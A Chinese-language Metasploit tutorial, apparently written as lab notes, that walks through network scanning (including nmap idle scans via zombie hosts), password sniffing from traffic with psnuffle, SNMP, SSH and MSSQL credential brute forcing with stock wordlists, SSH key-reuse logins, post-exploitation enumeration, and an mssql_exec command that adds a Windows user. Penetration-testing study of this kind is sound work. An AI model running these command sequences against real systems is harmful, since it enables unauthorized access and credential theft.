例如:
db_nmap -sV 192.168.1.0/24 //参数sv为全面扫描
互联网上的每个IP数据包都有一个分段身份识别号(IP ID)。许多操作系统只是简单的把该识别号递增,因此分析最后一次的IPID就可以告诉攻击者已经发送了多少数据包
目的是扫描空闲主机,而且 IP ID 为递增序列的主机(僵尸主机)
相关
使用的msf测试模块如下:
use auxiliary/scanner/ip/ipidseq
并未找到我的网段内存在僵尸主机,但是找到后我们可以进行进一步的扫描。
nmap -PN -sI 1.1.1.2 1.1.1.3
//假如1.1.1.2为我们找到的僵尸机,然后要扫描1.1.1.3的端口,就可以使用如上命令。
空闲扫描
RHOSTS <> RHOST
192.168.1.20-192.168.1.30 //指定一个网段
192.168.1.0/24,192.168.11.0/24 //指定多个网段,用逗号隔开
file:/root/h.txt //将网段保存在文件内
use auxiliary/scanner/discovery/arp_sweep
查看需要配置的参数
INTERFACE ̵RHOSTS̵ SHOST̵ SMAC̵ THREADS
在auxiliary/scanner/portscan 下存在如下扫描:
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/xmas
use auxiliary/scanner/portscan/syn
例如使用syn
use auxiliary/scanner/portscan/syn
参数
INTERFACE̵ 接口 PORTS̵ 端口 RHOSTS̵ 主机 THREADS线程
相关模块
use auxiliary/scanner/discovery/udp_sweep //使用模块
set rhosts 192.168.0.1-192.168.0.160 //设置扫描ip段
使用模块
use auxiliary/sniffer/psnuffle
支持从pcap包中抓取密码
功能类似于dsniff
目前只支持pop3̵,imap̵,ftp̵,HTTP ,GET 协议
例如:
use auxiliary/sniffer/psnuffle //使用该模块
show options //查看参数
其中filter 为过滤,可以不做设置,interface为接口,默认为所有,pcapfile指定从一个包中抓取,protocals为协议,默认为all。
直接run,就可以监听kali本机所支持的协议的所有密码的请求。
抓取到了账户和密码,虽然是登陆失败的。
设置抓包文件
set PCAPFILE 1.pcap
首先将Snmp的配置文件改下,避免出现扫描不到。
vi /etc/default/snmpd # 侦听地址改为0.0.0.0
重启snmp服务
cd /etc/init.d
ls snmpd
./snmpd stop
./snmpd start
使用snmp爆破模块
use auxiliary/scanner/snmp/snmp_login
show options
PASS_FILE
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
为默认的破解密码,包含一百多个值。
设置配置项
执行:
可以看到,爆出来两个,一个为private,具有读写权限,而public只是具有读的权限。
然后运用其他模块查看或者更改配置信息
use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/snmp/snmp_enumusers (windows) //显示用户 auxiliary/scanner/snmp/snmp_enumshares (windows) //显示共享文件夹
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.0.122, 192.168.0.126 - 192.168.0.136
需要设置RHOSTS,smb服务的密码和账户可以不设置。
很神奇的是这个rhosts的设置,设置为192.168.0.1,192.168.0.123
逗号之间没有空格,会直接报错,语句不合法,应该设置为192.168.0.1, 192.168.0.123
也就是逗号后面要多加一个空格。但是我再设置网段,例如192.168.0.1, 192.168.0.12 - 192.168.0.22
这样设置并不会被当作网段,它会将192.168.0.22当成一个单独的网址,也就是只有三个网址被扫描,那么想要扫描的是网段,就需要将-
前后的空格给去掉。192.168.0.1, 192.168.0.12-192.168.0.22
可以看到,扫描出了两个主机,其中一个主机无法判断。
use auxiliary/scanner/smb/pipe_auditor
use auxiliary/scanner/smb/pipe_dcerpc_auditor
用来枚举smb的共享文件夹
use auxiliary/scanner/smb/smb_enumshares
一般情况下是枚举不出来结果的,设置账号密码参数可以枚举出更多。
use auxiliary/scanner/smb/smb_enumusers
use auxiliary/scanner/smb/smb_lookupsid
use auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/ssh/ssh_login
设置的是密码和账户文件,rhosts。
已经存在的账户密码文件 USERPASS_FILE 在如下位置
/usr/share/metasploit-framework/data/wordlists/root_userpass.txt
所以,我们测试可以使用
set /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
由于我将我的真实密码加入了字典,成功的截图不予展示
use auxiliary/scanner/ssh/ssh_login_pubkey
有的设备支持ssh公钥登陆,存在一些生产的机器,所有的公钥都是一样的,倘若能够获取一台机器的ssh公钥,就可以尝试登陆其他的设备。
KEY_PATH参数需要指定
set KEY_FILE id_rsa
set USERNAME root
条件:已经有相关的shell,基于已经有了连接好的session。
例如已经通过msf_17_010拿到目标的shell,然后用命令sessions获取session号。
使用模块:
use post/windows/gather/enum_patches
show advanced
set VERBOSE yes
set session 1
如果出现如下错误:
Known bug in WMI query, try migrating to another process
将session进程迁移到其他的位置,用migrate命令,前面已经提到。
针对微软的sqlserver进行的一个扫描,主要是两个端口。
TCP1443(或者动态端口)/UDP1434
使用如下模块可以探测:
– use auxiliary/scanner/mssql/mssql_ping
sqlserver的管理员账号默认为sa,一般不会修改,当我们扫到一台机器开启了如下端口时,可以考虑进行往下探测。
use auxiliary/scanner/mssql/mssql_login
需要设置主机rhosts,密码文件路径,用户名。
前提是已经破解了mssql的管理员账户密码
use auxiliary/admin/mssql/mssql_exec
set CMD net user user pass /ADD 设置命令执行的内容
use auxiliary/scanner/ftp/ftp_version
use auxiliary/scanner/ftp/anonymous
use auxiliary/scanner/ftp/ftp_login
注:ftp的2.3.4版本是存在后门漏洞的。